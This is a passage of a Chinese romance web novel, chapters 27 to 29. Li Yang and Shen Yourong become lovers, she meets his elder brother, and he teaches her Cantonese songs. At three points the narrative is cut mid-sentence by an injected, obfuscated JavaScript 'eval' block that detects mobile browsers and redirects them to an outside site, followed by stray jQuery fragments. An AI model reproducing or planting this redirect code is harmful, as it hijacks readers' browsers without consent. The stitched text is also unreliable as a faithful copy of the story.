知道真相的黎泱又气又恼。她想起那晚在玄关,沈有容说的那句:“难道你以为我要亲你”,于是一字不差地全部原话奉还给了他。 “沈有容,你......你不能这么不讲理!自己说过的话都忘了吗?” 听到黎泱的话,当事人沈有容面色闪过一丝不自然,但很快就消失不见。他一挑眉,照单全收,又给出一句:“亲完再讲道理。” “!” 黎泱没说出口的话,也没了说出口的机会。她毫无经验,在沈有容的牵引下像个笨拙的初学者,牙关失守,水渍声令她更加脸红心跳。 直到门外传来窸窣的响声。 “happy,你怎么一直扒门啊?里面怎么了,也不知道我哥和黎泱姐在哪——” 沈汀仪推开卫生间的门,看清里面的场景后飞速转身带上了门,接着手忙脚乱牵着happy跑得远远的。 “我什么都没看见!你们继续!” 27. 不夜27 27 房门打开又闭合,时间不过短短几秒钟。 沈有容看着用双手捂住脸的黎泱,觉得好笑:“做什么,掩耳盗铃?” “你先出去。” 黎泱用鞋面踢了踢沈有容,声音听起来有点破碎:“让我一个人静静。” 被沈汀仪撞见她刚才和沈有容亲在一起,有种学生时代谈恋爱被教导主任发现的羞耻感。 怎么会这么巧合啊——她以后还怎么面对沈汀仪。 沈有容掰开她的手,发现黎泱的脸已经熟透了,唇瓣水光潋滟,泛红诱人。 “你打算一直坐在这变蘑菇,还是要把自己捂死?” 黎泱闻言扬起眉毛瞪了他一眼,本意是想要狠狠谴责表达气愤。但她泛红的眼尾实在没什么杀伤力,落在沈有容眼底倒像是在撒娇。 “现在还真成了红眼会咬人的兔子。”他随口笑着,想把黎泱抱下来。 黎泱拍开沈有容伸来的手,张了张口想说什么,然而刚牵动嘴角就发出“嘶”的一声。 嘴破了。 疼。 沈有容是属狼的吗?为什么那么用力咬她! 黎泱背对着镜子,根本看不到自己现在是什么样子。她问:“我现在是不是很狼狈很丑?” 身为欺负人的“罪魁祸首”,沈有容不紧不慢回答:“没有,很好看。” 黎泱才不信他的话,转头自己去看镜子。在看清自己脸上残余未退的红晕和异于平常的状态后,她已经彻底说不出话了。 为了上镜涂的口红早被吃掉,在嘴角又晕染成一块,像是被留下的某样证据。原本服帖整齐的头发也被沈有容揉乱,发丝杂乱无章。 怎么看,都是一副刚刚经历某种暧昧不宣的状态。 黎泱再抬眼去看沈有容,在他洁白的衬衫衣领处发现了块红色的口红痕迹,不知道是什么蹭上去的。 这时,门外又传来敲门声,还有沈汀仪小心翼翼的话音: “二哥,我就是传个话。刚刚大哥打电话说有事找你,已经在来的路上了。” “好了我话说完了。” 黎泱已经跳下洗手台,用胳膊肘顶了顶沈有容:“那我先回房了。”她听到沈有容大哥要来的消息,觉得自己还是最好别露面待在房间。 “沈汀仪已经看见了,你还害怕见我哥?”沈有容反握住她的手。“黎泱,你现在躲不了。” 黎泱低下头,看着两人握在一起十指相合的手,还是觉得有些恍惚。 她下意识脱口而出,问了个最傻的问题: “那我们现在,算什么关系?” ——收获的是沈有容将手握得更紧。 他反问:“你觉得能牵手能接吻的,是什么关系?”顿了顿,沈有容又在后面补充一句:“还要一起见家人。” 黎泱感受到沈有容宽厚掌心的温度,顺着皮肤纹理传递到她的手中,带着让人定心的作用。 她想张口,欲止又言,欲言又止。 是她想的那样吗?会不会又是她自作多情?如果不是的话,那最后要怎么收场? 种种不确信的可能萦绕在黎泱的脑海中,让她始终下定不了决心迈出那一步,回答不了,说不出口。 沈有容摩挲了下她的小拇指,将黎泱的注意力分过来。 “那我替你回答,是lover,恋人。” 话音落下,在安静的室内异常清晰,也清清楚楚都落入黎泱的耳中。她觉得心里好像被挤压摇晃的碳酸饮料,在开盖的这一刻,冒出了数以千万的气泡。 觉得仿佛心脏的重量也被气泡托起,摇摇晃晃的,好不真实。 沈有容伸手象征性弹了下黎泱的脑袋,没用什么力道。 “满意吗,这个回答。” 黎泱眼睛亮晶晶看着他,似乎意犹未尽。想要像好学生一样继续提问。沈有容不自然地撇过头,咳嗽一声: “没了,也别指望我能再说出什么煽情的话。” 他又不像沈汀仪,能说出那么多让人牙酸的情话。 “恋人”两个字,沈有容觉得足够贴切了。 . 黎泱回房间换了身衣服下楼,沈汀仪招呼她坐在自己旁边,眼神中充满了好奇和八卦。 沈汀仪:“我成年了,所以告诉我细节不犯法的。” 黎泱一口水呛住嗓子,拼命咳嗽。她实在没想到沈汀仪上来就问得这么直接。 “我能保持沉默吗?” 沈汀仪无奈摇头:“好吧,其实我当时也往里面偷瞄了几眼。” “......” 黎泱觉得她还是赶紧找个新话题把这事带过去,于是主动向沈汀仪打听了沈闻时。 “不用担心黎泱姐,大哥他可能比任何人都提前知道了你的存在。” 沈汀仪猜到黎泱也许是紧张和沈闻时的见面,宽慰她说:“大哥很温柔,也特别包容我们,从小到大我闯祸都是他帮我在后面处理。而且,” 她想了想,特别认真地看着黎泱:“最重要的是,二哥很喜欢你。” 说着,沈有容恰好也从房间出来了,从她们旁边路过。 沈汀仪用手遮住嘴,靠近黎泱小声说:“家里之前一直怀疑二哥是性冷淡,以为这辈子都看不到他身边出现女人了。” 听到这话,黎泱没忍住“噗嗤”笑出声。在沈有容视线扫过来时,又赶紧恢复了正襟危坐。 还好没被他听到。 沈汀仪探头看向窗外,惊喜道:“大哥到了。” 铁门缓缓拉开,一辆加长林肯驶进庭院。从后座走下一名身穿灰色西装长身而立的男人,带着银框眼镜,气质沉稳平和。 他的五官同样优越,放在人群中也是显眼的存在。眉眼和沈有容有几分相似,却是两种截然不同的风格。 那是一种在商海中浮沉已久,富有眼界和阅历,处事波澜不惊的掌权上位者气场。 这就是沈家现在的继承人,长子沈闻时。 黎泱只看了两眼,就在心底生出一种强烈的隔阂感。她的余光投向沈有容,有一瞬间觉得,也许他本来也该是这样的人—— 带着自然而生的矜贵和高高在上的疏离,像和她生活在两个世界,本不该有任何交集。 “在想什么。” 身侧的沈有容察觉到她的视线,偏过头来用口型无声询问着她。黎泱摇了摇头,什么都没说。 在沈闻时要进门前,她却又出声:“要不我还是回避一下吧......” “不许,站好。” “......哦。” 黎泱突然感觉到自己放在身侧的手被人碰了碰,低头一看,是沈有容勾住了她的小拇指。 他就这么握着她的手,对走来的沈闻时打了招呼:“大哥。” 沈闻时对自己的弟妹点了点头,而后将目光放到了黎泱身上。他一眼便发现了两人牵着的手,飞快和沈有容交换了眼神,将他这种护人的小动作全部看在眼底。 “黎小姐,初次见面。” “沈先生好。” 其实关于黎泱的所有资料,早有专人详细调查并整理好交到了沈闻时的桌上。沈汀仪确实没说错,他是第一个知道黎泱存在的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044928|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并且身为局外人,沈闻时要比沈有容更早看清他对黎泱的感情。从现在的情况看,这两人终于捅破了纱窗。 和资料上的照片比起来,现在的黎泱更令人印象深刻。漂亮是一个女人的优势,有时也象征危险。沈闻时对黎泱的第一印象是:一位还不懂得如何利用自己优势的年轻姑娘。 这句话的潜台词是,黎泱还太天真,被人保护得太好。 “路上来得匆忙,只准备了一份见面礼物,希望黎小姐会喜欢。”沈闻时让人取来了一个纸袋,外面没有任何的包装和品牌logo,但黎泱知道绝对价值不菲。 她下意识想礼貌推拒,因为觉得初次见面就收人礼物的做法不妥。而且,黎泱觉得自己主要还是沾了沈有容的面子。 沈有容看穿她的想法,替她应下:“收下吧,只是普通礼物。” “换成Cindy的话,早该对我提下次的定制礼物要求了。”沈闻时笑笑,说了句打趣的话舒缓了气氛。 “喂喂喂,我哪有。大哥,你不能这么在人前戳穿我啊!” 黎泱看着沈家兄妹三人轻松愉快的相处模式,从内心觉得羡慕和向往。她想起在孟家时的境遇,忘却不掉孟今妍对她的冷嘲热讽。 一个家族的家风如何,由此可窥见。 能培养出这样的孩子,想必父母自身也是极为优秀的。黎泱在心里心想。 简单的寒暄过后,沈闻时和沈有容去了楼上书房谈事。黎泱被沈汀仪叫去看今天拍的片子,视频已经全部导出发到了她电脑上。 “我看了原片,要修剪的地方很少,甚至可以直出。”沈汀仪拖动鼠标,点开一个视频:“尤其是在屏幕上放大看你的神态,真得很赏心悦目。” 黎泱看着自己的脸出现在屏幕上,觉得那是一种很奇妙的感受。 通过摄像机的捕捉,再导出放大到屏幕上,她的每一个动作、表情都被清晰投射。就好像,电脑上的黎泱,真的是以一个学生的身份完成了拍摄。 她体验了一种全新的生活。 “黎泱姐,你以后真的可以考虑从事影视方面。”沈汀仪毫无保留奉献自己由衷的夸赞:“你这张脸就是为镜头而生的啊!” 黎泱摇头:“真的没有那么厉害,夸张了。” “怎么会呢。你以前有学过表演吗?” 表演吗?她甚至连读高中的机会都没有。黎泱苦涩地想,只当沈汀仪是在开玩笑,并没有放在心上。 透过书房的落地窗,能看清楼下的全貌。沈有容看见两个女生的脑袋挤在一起围着电脑,也不知道在看什么那么认真。 身后传来沈闻时的问话:“你打算什么把人带回家里。” 庄女士自从那日突击来访,在沈有容家里发现有姑娘在后,这段时间春风满面,觉得离她成为“全港最漂亮的婆婆”指日可待。 她好几次忍不住,旁敲侧击想从让沈闻时替她打探消息,都被他从中压下了。 沈有容收回视线,转身面向自己大哥:“再过段时间。” “你担心父母会在意黎泱的身份?” “......” 豪门间联姻是件稀疏平常的事,他们追求利益最大化,以达到强强联手的目的。过去庄明意在撮合牵线的时候,考虑的也都是世家的千金名媛。 沈闻时起身,拍了拍自己弟弟的肩膀。 “还记得我那晚的话吗。” “你有我和Cindy两人支持,庄女士也是可以策反的。我想,等她见到黎泱后也会喜欢上她。” “至于父亲那边,我会想办法去沟通。” 28. 不夜28 28 沈闻时并未多做停留,交代完事后便离开。他这次来主要是为了沈有容下一次的“轮转”。 自从那晚的谈话过后,兄弟间的心结被解开。过去沈有容无心插手集团的事务,对他哥和父亲制定的“下放子公司历练”表现得无所谓,只想等合适的机会打发了。 但其实大哥早已看透他的内心想法,这一趟也是直接把话说明: “有容,我尊重你的个人选择。是继续留在港城还是回英国,都看你的意愿。” 他是选择留下参与公司的管理,还是想回英国继续和导师进行研究,沈闻时都给予了无限包容的空间。 现在的他暂时抛却了沈家继承人的身份,有的只是身为兄长对弟弟的爱护。 沈有容瞥了眼楼下,又不留痕迹收回目光。 他对上大哥的视线,耸肩,随性一笑:“你不是都知道我要怎么选择了。” 大哥进门前送给黎泱的那份礼物,绝不可能是临时起意匆忙挑选的。 就连打电话通知沈汀仪,让她也在场,也不会是巧合。 藏在其中的暗意,沈有容都猜到了。 听到他的回答,沈闻时似乎早有预料到,摇头语气有些无奈:“你啊,就是不肯把话直接说明,总要让对方意会。” “已经心知肚明的事,再解释没必要浪费精力。” 沈闻时已经走到门口,却突然停下脚步转身,留下一句意味深长的话:“但别忘了——有些话,是一定要亲口和对方说的。” 离开的时候,沈闻时顺道带走了沈汀仪,于是原本热闹的家里又冷清下来。 黎泱第三次看向沈有容的时候,对方抬头,将她逮个正着。 沈有容甚至都没开口说话,只是递来一个眼神,倒是让她慌乱了阵脚: “我没有看你,我在看你身后的钟。” “......” 她说完,自己都觉得是此地无银三百两的解释。只好埋头盯着面前的碗,装鹌鹑。 沈有容放下筷子,舒展了身体向后靠在椅背上。他就这么直白的盯着对面的女孩,也不顾及视线的遮掩。 黎泱被盯得心神意乱,连吃下去的兴趣也没了,坐立不安地开了口:“沈有容,你为什么一直看着我?” “嗯,是在看你。” 他唇角挂着玩味的笑意:“只是和你示范一下,想看对方的时候不用藏着掖着。” 黎泱窘了。 心想:她看得有那么直白吗?下次一定记住了遮掩,不会再被发现。 结果沈有容仿佛有读心术,下一秒继续说:“要是偷瞄,我也能发现。” “想看我的话,下次接吻的时候别闭眼睛。” “......” 黎泱推了碗筷,从餐桌上离开的时候几乎是落荒而逃。 太坏了沈有容!!! 谁要再和他接吻,她的嘴到现在还疼呢! 用过晚饭,黎泱和平常一样牵着happy去了院子里玩。happy个头窜得很快,刚来的时候身高还不到黎泱的小腿,现在已经到了她的膝盖。 正比增长的还有体重。 “happy,从明天开始,你的口粮要少半个罐头了。” “嗷呜~” happy哼唧了一声,用浑圆明亮的眼睛盯着她,试图撒娇卖萌蒙混过关。黎泱被软化,没忍住伸手揉着它毛茸茸的脑袋。内心正摇摆的时候,听到身后传来了脚步声。 “怎么,要做它心软的神?” “前脚才放了话,后脚又忍不住。黎泱,你没有听过一句话叫慈母多败儿吗。” 沈有容居高临下站着。黎泱在摸happy的脑袋,他也看着黎泱的脑袋。 她的长发留了多年,完全散下的时候像海藻,柔顺茂密。让沈有容想起下午在浴室时,从指缝中划过的发丝柔软质感。 他克制住自己伸手的念头,用最平静的嗓音说:“你已经陪了它一个小时,今天的运动量也该达到了。” 黎泱这时才回神,看了眼时间:“原来已经八点半了。”她把happy的绳子扣上,牵着它回了笼子。 在黎泱离开后,沈有容站在笼子前没动。 happy仰头看着他,听见男人开口说了两个字:“我的。” 人类的心思真难猜,什么你的我的嘛。happy不懂,觉得反正只要有黎泱每天陪它玩,沈有容给它开罐头,那它就是世界上最幸福的小狗。 睡前,黎泱点开了手机的聊天页面。 她视力恢复后要回到正常的沟通交流,不能只依赖于手表。沈有容让项怀英给她送了部手机,预存的联系人里就有他的名字。 黎泱点进和沈有容的对话框,空白的聊天记录,让她有种不敢打破这局面的错觉。 于是手指在键盘上点点改改,半天过去只敲了一个“你”字。 她关掉手机放在心口,闭眼懊恼地想:好像找不到一个合适的话题开口。 这个时间点,沈有容已经睡下了吗?算了,要不还是别发了。 可是,可是白天的那个吻,还有沈有容说的“恋人关系”—— 她和他,就这么在一起了? 是不是太突然了,怎么就......沈有容就亲了她呢? 就在一起了。 真的是......喜欢她吗? 黎泱在这边翻来覆去想了好久,总觉得今天发生的一切太匪夷所思。她没注意,手机滑落掉到了地上,好在有厚厚的地毯没有损坏。 她按了按键,才发现五分钟前收到了一条新消息。 来自沈有容。 “怎么了。” 黎泱不知道从沈有容那边看,自己一直显示“输入中”的状态。 看着原本空白的界面多出一条信息,打破了突兀,她有些如释重负。 黎泱在那个孤单的“你”后面补充了几个字:“你能不能教我说粤语。” 点击,发送。 然后一颗心都在等待对方的回复。 她的脑海中想到了和沈有容吃饭的那晚。他开车送她回去,夜晚路上车上,他单手扶着方向盘,就着电台里的伴奏,哼唱了一句粤语老歌。 黎泱不知道歌词是什么,注意力被分走,都放在了沈有容的嗓音上。 他磁沉的声音萦绕在封闭车厢内,漫不经心,从容慵懒。仿佛只是心血来潮,纡尊降贵给她唱了一句歌词打发时间。 甚至都不愿意开口解释唱的是什么。 鬼使神差地,让黎泱将那段旋律记到了现在。这时候,她还不知道可以通过识曲找到那首歌。 她盯着屏幕,没等到沈有容的回复。 心里一沉。 就在这时,门外传来了敲门声。 黎泱不知道这个点还会有谁找她,踩着拖鞋去开了门。刚拉开,就看见了刚才还隔着屏幕聊天的人。 “怎么突然想学粤语了。” 黎泱侧了侧身,让出位置让沈有容进去,总不能一直站在门口聊天。她没直接回答沈有容的问题,而是问他:“很难学吗?” 为什么学粤语。 如果以后要留在港城,总是要会的吧。 沈有容见她表情认真,沉吟片刻,说:“真想学?” 黎泱没有犹豫点头。 “可以教你。” 见他答应下来,黎泱刚要扬起嘴角,突然想到什么又制止住了动作。她身体往前凑近,低声询问:“是不是需要我付什么报酬?” 按照沈有容往日的风格,不会这么轻而易举就答应了吧。 果然,男人闻言眼神中闪过一丝笑意。他面向黎泱而立,借着床头柜上的小夜灯,将人看得彻底。 嗯,现在对他倒是很熟悉了。 “报酬啊——” 黎泱穿着长袖睡衣,衣扣都一板一眼系到最上一颗,坐姿也是规规矩矩。她就这么全神贯注等着沈有容的回复,像等待老师提问的学生。 “等我想到了再告诉你。” 沈有容卖足了关子,最后就是不肯直接说出来。 黎泱又没底气再追问,毕竟自己现在是有求于人。 沈有容环视了一眼屋内的布置,自然也发现黎泱没有动过那一整个步入式衣帽间的任何东西。 她从住进这里开始,就好像给自己划分了活动范围。除了楼下的客厅院子还有自己的房间外,从不涉足其他区域、也不触碰任何东西。 极其地有边界感。 可沈有容不喜欢。 黎泱不知道沈有容在想什么,一门心思都放在了学粤语上,跟在他身后追问:“那我们什么时候开始,我要准备什么吗?” “嗯,是要做准备。” “等一下,我记在手机上。” 她贯彻好学精神,点开备忘录准备将沈有容即将说的内容都记录下俩。“好了,你说吧。” “去网上找粤语金曲一百首。” “嗯......嗯?什么——” 黎泱猛地抬头,还以为是自己听错了。但沈有容面无表情,继续说着: “学会了唱给我听。我会每天检查你的学习成果。” 她难以置信:“就这样?” “嗯。”沈有容重复一遍,“就这样。” . 于是隔天沈汀仪再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057392|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到黎泱的时候,就注意到她一直戴着耳机。她好奇问:“黎泱姐,你在听什么?” 事以密成,黎泱一直都有这个习惯。在准备做某件事的时候会全身心投入,不会在目标实现前向外界透露一点消息。 她摘了耳机,笑笑只说自己是在听歌。 “对了,我把片子给剪出来了。”沈汀仪点开手机,给黎泱展示了宣传片的最终版。 黎泱看完由衷感慨:“剪得真好。” 沈汀仪明年要去哥伦比亚大学的新闻学院读书,那是传播学科领域内最好的大学。她一直都有这方面的兴趣爱好,所以选择读了自己喜欢的专业。 黎泱为她感到开心,同时陷入思考:她未来能做什么。 沈汀仪也大概知道了黎泱过去的情况,找了个开心的话题调动氛围:“黎泱姐,你来港城有多久了,对这里的环境还熟悉吗?” “快三个月了。” 她下飞机到达港城的时候还是夏天,转眼就要到冬季了。明明只是短短的几个月,但却经历了太多的事。 和孟家的决裂,知道当年父母车祸后发生的事;眼睛恢复了视力;遇见了很多人,交到了朋友;认识了沈有容,和他在一起...... 有时候黎泱半夜醒来,总会出神片刻,去想现在的生活究竟是不是在梦境。 沈汀仪:“对了,周末我们打算去鹤咀采风。黎泱姐,你有兴趣吗?那天你给我们救场节省了好多时间,大家都说要感谢你呢。” 黎泱对港城并不熟悉,位于远郊的鹤咀更不用提,触及了她的知识盲区。 “那里风景特别漂亮,是海岸保护线。不过最出名的还是那座启用于1875的白色灯塔。”沈汀仪查了查资料,“现在仍然在使用。” “不过我是想去打卡那座蓝色情人桥啦。上次二哥去我拜托他帮我拍张照片,结果他说懒得去,真是没有一点浪漫细胞。” 黎泱听得有些心动,但一时又拿定不了主意。沈汀仪描述得绘声绘色,让她一整天都在想。 沈有容回来的时候,看见黎泱正坐在客厅挑选电影。 她选的是部老片,《开罗紫玫瑰》,曾经在香港上映时的名字是《戏假情真》。 这是一部很有意思的爱情奇幻片,导演是伍迪艾伦。讲述的是女主在电影院观看电影时,电影中的男主人公跳出荧幕来到了她的世界,和她经历了一段梦幻的爱情。 黎泱只是随手一选,想在等沈有容回来时打发时间观看的。结果电影刚开始播放几分钟,旁边的沙发向下一陷,有人坐下了。 沈有容身上还带着一点残余的男士香水味,后调是好闻的清冽檀香木。他解下手上的腕表和戒指,没有要开口说话的迹象,安静陪着黎泱看完了这部电影。 黎泱也从最开始的随意,到最后完全认真地投入到剧情进展中。就连沈有容将手臂搭在她身后,悄悄用手指卷起了她的一簇发丝都没有察觉到。 电影到了结尾,男主人公最后又回到了荧幕上,而女主最终发现所有经历的一切都成空。她什么都没获得,又什么都失去了。 直到演员表名单升起,黎泱觉得胸腔蓦然一滞,有种怅然若失的感觉。 她害怕消极的情绪蔓延开让沈有容发现异样,于是转移话题,问他:“你说,男主人公回到荧幕后,会后悔他做的决定吗?” 他以为这样做是成全了女主的幸福,殊不知是中了全套,彻底断送了女主的美好幻想。在他离开后,女主还是重新回到了那个糟糕的现实世界。 黎泱本来也没想得到沈有容的回答。但没想到他也看进去了电影。 “如果我是他,只要是我认定的,都不会放手。” “就算她亲口对我说不需要,那又怎样。” 最后一句话,沈有容时看着黎泱说的。他将她的手握住,将掌心的热度渡给她,缓解黎泱发凉的手。 黎泱垂下眼帘,故意用轻松的语气开玩笑说:“是啊,最后像失去了魔法的灰姑娘。” 童话中的灰姑娘获得仙女给予的魔法,让她成为穿上漂亮裙子参加舞会,最后引起了王子的注意。这才有了后面水晶鞋相认,终成眷属的故事。 可要是从一开始,灰姑娘就没有魔法呢。 或者灰姑娘经历的一切也只是一场美妙的魔法。等魔法消失,一切又回到了原样。 就像《开罗紫玫瑰》里的女主,最后还是回到了糟糕的现实世界。 就像......她自己。 黎泱的脸被人用手抬起,抬眼撞进了沈有容认真的眼底。他漂亮狭长的眼中,全部都是她的倒影。 “那就把现实变成童话,让魔法永远存在。” 29. 不夜29 29 有那么一瞬间,黎泱觉得好像时间被慢放,定格在这一刻。 这是一个很普通的夜晚。 外面笼罩在漆黑墨色中,落地的玻璃窗上有一层雾蒙蒙的水汽。屋内温暖的那一面像是镜子,投射有两人的身影。 因为过去练习射箭,沈有容的指腹有一层薄茧,抚在黎泱皮肤上的时候有些粗粝的触感。但不突兀,而像是一种现实的象征,告诉她,这是真实存在的。 “你今天都做了什么?”怎么会突然情绪这么低落。 黎泱回神,意识到自己刚才的失态。她敛眸收整好情绪,用正常的语调说:“没做什么,就是按照你说的在练歌。” 想到这,她问:“你要检查吗?” 沈有容看出她不愿意再继续刚才的话题,也不勉强,打算等晚上去问项怀英了解情况。 他倒是有些意外,没想到黎泱真的听进去了他的话,按照那个随口说的方法练习了。 看到她跃跃欲试的样子,沈有容也来了兴趣。他看了眼时间,有些晚了,担心继续待在客厅会着凉,于是对黎泱说:“先回房间,等我洗完澡去找你。” 在等待的时间里,黎泱又把白天学的那首歌练习了几遍。粤语的有些发音对她来说实在是有些难为人,说出都不易,更何况还是唱。 她想:这么困难的方法一定能取得很好的效果。原来自己之前还是误会沈有容了。 黎泱没有把门关实,所以在沈有容进来时也没发现。她正在反复练习那几个拗口的音节,突然听到身后有声音响起: “错了。” 沈有容披着一件黑色浴袍,交叠的开襟领口设计,穿在他身上更衬得身体线条优异,有几分慵懒和妖冶。 大概是刚沐浴完,他身上还有未散的水汽。头发没了发胶的支撑,额前刘海有些遮住了眼眶,让他眼中的神情看得不太真切。 沈有容支着手臂,越过黎泱指了指平板的屏幕:“你刚才的那几个音,都不太准确。” 他们两人一个站一个坐,近距离接触的时候,黎泱闻到了他身上清冷的薄荷味。 黎泱有些懊恼,虽然她也清楚学一门语言没那么容易,可还是难免会产生挫败感。 沈有容看了眼那几个词,用粤语给黎泱示范一遍。她照葫芦画瓢,说出来的时候就像照着拼音读英语的感觉,有些不伦不类。 “好难。”她撑着脑袋,“今天算了,等我再练练吧。” 黎泱说着要关掉界面,但被沈有容按住了手。 “再唱一遍。我没有听完整。” “......但是,我唱的不好听。” 她扪心自问,觉得委实没必要再自取其辱了。 沈有容扫了她一眼,收回手,若有所思地点点头:“那就算了。本来想帮你再纠正发音,不过看来你不需要。” “等等,需要!” 黎泱果断改变主意,有免费的指导摆在眼前,不抓住就是浪费。 她把进度条拖到开始,刚要点播放的时候,听到沈有容说:“对着我唱。” 他拉了把椅子,就坐在黎泱对面,交叠双腿,姿态放松。黎泱把心一横,想:唱就唱吧,不过就是个情歌而已嘛。 于是面向沈有容,开了口。 嗓音不自染上了些许紧张,带着黎泱自己都没有察觉到的颤音。沈有容抱着胳膊,大半的面容藏在阴影中,虽然看不清神色,但好像真的是一副在听她唱纠正错误的样子。 黎泱瞥了眼下面的歌词,悄悄压低了声音,试图含糊过去。 但沈有容一眼洞悉了她的想法,故意说:“把这段再唱一遍。” 他指着“中意你”那三个字,怎么看都别有用心。 黎泱一噎,“这句话我很熟悉了。” “这样,那我更想听了。” “......” 她盯着沈有容看了几秒,最后败下阵来认输,把那句歌词又唱了一遍。 黎泱唇形生得极好看,唇瓣一张一合,柔软又细腻。从小在嘉市长大,她的声线有种地区特有的圆润柔和,同时带着自身独特的清亮韧劲。 虽然这首粤语歌她唱地磕磕绊绊,可有自己独一份的韵味——引人遐想,流连忘返。 黎泱终于唱完松口气,等着沈有容的回应,结果在他的眼中发现了片刻的失焦。 但那只是短短的一瞬,随即很快又恢复了清明。 “沈有容。” 黎泱突然叫了他的名字,用的却不是普通话,让沈有容顿住。 应该是这么说的吧?她私底下请教了沈汀仪,还把三个字给拆开,一个字一个字问的。 黎泱有些开心,带着一点自信:“现在我会用粤语说你的名......唔——” 话音未落,面前便投下一片阴影,未说完的话都被堵在了唇边。沈有容俯身按住了黎泱的后脑勺,吻了上去。 他把黎泱抱起,两人调换了位置。沈有容坐在椅子上,黎泱坐在了他怀中。 黎泱没预料到他的动作,一时恍惚怔住,被轻而易举撬开了牙关,掠夺腔内的呼吸。 “不许......和上次一样咬我。” 唇齿相叠,还有舌尖的柔软,都比第一次接吻的时候更热烈。黎泱很快招架不住,觉得自己快要窒息了。 直到沈有容在她耳畔发出一声低笑:“你是要把自己憋气到晕过去吗?” 他退出,让给黎泱呼吸换气的空间。黎泱摸着自己通红的耳朵,咬着牙齿气鼓鼓道:“为什么要突然亲我?” 为什么?这种事是没有道理的。 沈有容满意地欣赏完黎泱的表情,还不够餍足。在他听见黎泱对自己唱歌的时候,就想这么做了。 他的手指从黎泱的耳垂划过,到脸颊,下巴,一路向下。划过她修长的脖子,最后停在她的锁骨上。 手指游走过的每块皮肤,都引得黎泱发颤。她握住沈有容的手,压抑住不成调的嗓音:“怎么......每次都是,我被你欺负?” 沈有容挑眉,哑然失笑:“好。那给你机会,你想怎么对我?” 黎泱心中一喜,他竟然这么好说话? 生怕沈有容反悔一般,她把人往前一按,将沈有容扑倒在了床上。 沈有容仰面躺在床上,他的浴袍有些散乱,衣襟更是向外敞开,暧昧又勾人,一副任君采撷的样子。 黎泱跪坐在他身上,目光飘忽不定,觉得自己好像在做什么不道德的事。 沈有容促狭的眼眸盯着黎泱,半响无声勾了勾唇角:“还有下一步么?” 他不介意满足她更进一步的要求。 他这句话成功激将了黎泱。 想起之前都是沈有容先吻的她,而她每次都那么狼狈......难道,先动手的那个人就能占到上风? 这样想着,黎泱深吸一口气做足了心理建设。她扶着沈有容的肩膀,慢慢凑近他的脸—— 在沈有容的脖子上,靠近喉结的地方咬了一口。 她没用多少力,甚至比蚊子咬人的力度还要轻。本意也只是为了还给沈有容上次咬破她嘴唇的事。 黎泱没察觉到男人身体一僵,眸色沉了下去。 她咬完,撑住胳膊刚想起身,结果被沈有容揽住了腰。力道调换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074805|147202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天旋地转后,黎泱成了被压在下面的那个人。 摔在床上的一瞬间,她的大脑是空白一片的。等看清沈有容晦暗不明的眼底后,黎泱心里登时发出一个信号: 危险了。 她不该招惹他的。 怎么就头脑一热,忘记现在的处境了。 沈有容是什么人,港城顶级豪门的二少爷,过着众星捧月般的生活。这么一个天之骄子,被她给恶作剧地咬了一口。 沈有容伸手,在自己脖子上摸到了一小块浅浅的牙印。再看“罪魁祸首”,正抿着嘴唇,无辜又可怜地眼巴巴望着自己。 “......沈有容。” 他伸出食指,按在黎泱的嘴唇上,幅度很小地摇了摇头。 “别用这种眼神看我。”沈有容一哂,“这个时候叫我的名字,刚刚咬我的那股劲呢?” 黎泱此刻热血退去,后悔的情绪弥漫在心间。她小心翼翼开口,试图弥补自己刚才的“罪行”:“要不,你咬回来?” 沈有容被气笑了。 捏住黎泱的下巴,惩罚似地揉着她的唇角:“原来我在你眼里这么好打发。” 完了,这阴阳的语气,肯定是生气了。 黎泱瞄到刚才她咬的那快地方很快泛红,牙印更明显了。她这时突然想起之前项怀英和她说过的话:沈有容有轻微的划痕症。 任何一点擦伤都容易留下痕迹来。 更何况,还被她用牙咬了一口。 所以她当时为什么要头脑一热那么做...... 现在怎么后悔都来不及了。当下能做的,就是想办法消消沈有容的气,稍微让怒火别那么波及到自己。 然而无论黎泱再找什么话题,沈有容都不吭声。眼神落在她身上,却始终保持沉默。 好的,现在对方直接不开口了。 她还能怎么沟通。 沈有容其实谈不上多生气。 黎泱那一口不轻不重,他还不至于为了这个计较。 他刚才说的话,还有后面装出的一言不发,都只是故意做给黎泱看的。 看她为难的表情和几番欲言又止,沈有容本就没多少的怒火早就烟消云散,消失得一干二净。 他不打算继续为难黎泱,再者时间也不早,该回去了。 然而下一秒,沈有容原本打算抽身离开的动作赫然僵在了原地。 ——黎泱含住了他的手指。 沈有容深吸了一口气,声音有些紧绷:“吐出来。” 